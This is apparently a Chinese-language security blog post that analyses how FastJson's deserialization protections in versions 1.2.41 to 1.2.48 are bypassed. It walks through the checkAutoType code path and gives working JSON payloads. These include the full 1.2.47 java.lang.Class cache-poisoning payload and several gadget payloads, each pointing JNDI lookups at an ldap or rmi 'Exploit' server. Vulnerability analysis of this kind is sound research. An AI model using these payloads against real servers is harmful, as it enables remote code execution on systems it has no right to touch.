FastJson 1.2.41 - 1.2.48分析
前言
前文「初识FastJson」曾分析了 FastJson
反序列化的起始版本 1.2.24
, 本文将从修复补丁的 1.1.41
版本开始分析如何bypass 补丁以及利用分析。
1.2.41
根据该版本的补丁分析跟进到 DefaultJSONParser#parseObject中, 在291行处能看到调用了 ParserConfig#checkAutoType方法传入了 @key
的值。
进入 checkAutoType 之后因为 1.2.41
版本默认已经不开启 AutoType
功能了 且此处 expectClass
为null所以不会进入if分支中。
代码走到836的分支中, 通过for循环如果 @type
的value是以黑名单的类名开头的话则会抛出异常, denyList
有23个黑名单类, 其中包含了不少常见的gadget。
在循环完黑名单之后会调用 TypeUtils#loadClass去加载类, 而补丁的饶过也正在这个方法中:
没什么好说的, className
以 L
开头及 ;
结尾则从截断第一个字符和最后一个字符, 也就是去除了 L
和 ;
, 然后加载类, 最后调用 JdbcRowSetImpl#connect触发JNDI注入。
1.2.42
新的补丁将黑名单类转变通过比较 hash
判断, 并在 checkAutoType
中判断类名如果以 L
开头及 ;
结尾则会去除:
经过 checkAutoType
后payload就会去除 一个L
和 ;
, 变成了 Lcom.sun.rowset.JdbcRowSetImpl;
了。而在 TypeUtils#loadClass中会判断 L
和 ;
去除之后重新调用 loadClass。所以实际上这里使用多个 L
和 ;
效果是一样的, 都能够绕过 checkAutoType
时的判断而在 loadClass 时又能正常加载类。
1.2.45
黑名单类绕过, 需要有Mybatis。
{“@type”:”org.apache.ibatis.datasource.jndi.JndiDataSourceFactory”,”properties”:{“data_source”:”rmi://localhost:1099/Exploit”}}
1.2.47
使用 java.lang.Class
白名单类绕过验证, 在 MiscCodec#deserialze方法通过层层筛选最终会加载 val
键的值作为类名使用 TypeUtils#loadClass 加载类。
经过 checkAutoType
时由于 @type
的值是 java.lang.Class不存在黑名单中, 代码会走到833行中在白名单中寻找类, 白名单中存在该类会直接return。
回到 DefaultJSONParser#parseObject调用 ParserConfig#getDeserialzer
返回一个MiscCodec 对象。
回到 parseObject 继续调用 MiscCodec#deserialze, 通过 TypeUtils#loadClass加载类。
这里strVal的值必须是 val
键, 否则会抛出异常。
在 loadClass时会调用该重载方法, 且 cache
参数默认为true, 导致将恶意类 com.sun.rowset.JdbcRowSetImpl
类写入 mappings
。
1 | public static Class<?> loadClass(String className, ClassLoader classLoader) { |
完整Payload
{“a”: {“@type”: “java.lang.Class”, “val”: “com.sun.rowset.JdbcRowSetImpl”}, “b”: {“@type”: “com.sun.rowset.JdbcRowSetImpl”, “dataSourceName”: “ldap://x.x.x.x:1999/Exploit”, “autoCommit”: true}}
其他黑名单绕过
{“@type”:”org.apache.xbean.propertyeditor.JndiConverter”,”AsText”:”rmi://127.0.0.1:1099/Exploit”}”
{“@type”:”org.apache.shiro.jndi.JndiObjectFactory”,”resourceName”:”rmi://127.0.0.1:1099/Exploit”}
{“@type”:”br.com.anteros.dbcp.AnterosDBCPConfig”,”metricRegistry”:”rmi://127.0.0.1:1099/Exploit”}
{“@type”:”org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup”,”jndiNames”:”rmi://127.0.0.1:1099/Exploit”}
{“@type”:”com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig”,”properties”: {“@type”:”java.util.Properties”,”UserTransaction”:”rmi://127.0.0.1:1099/Exploit”}}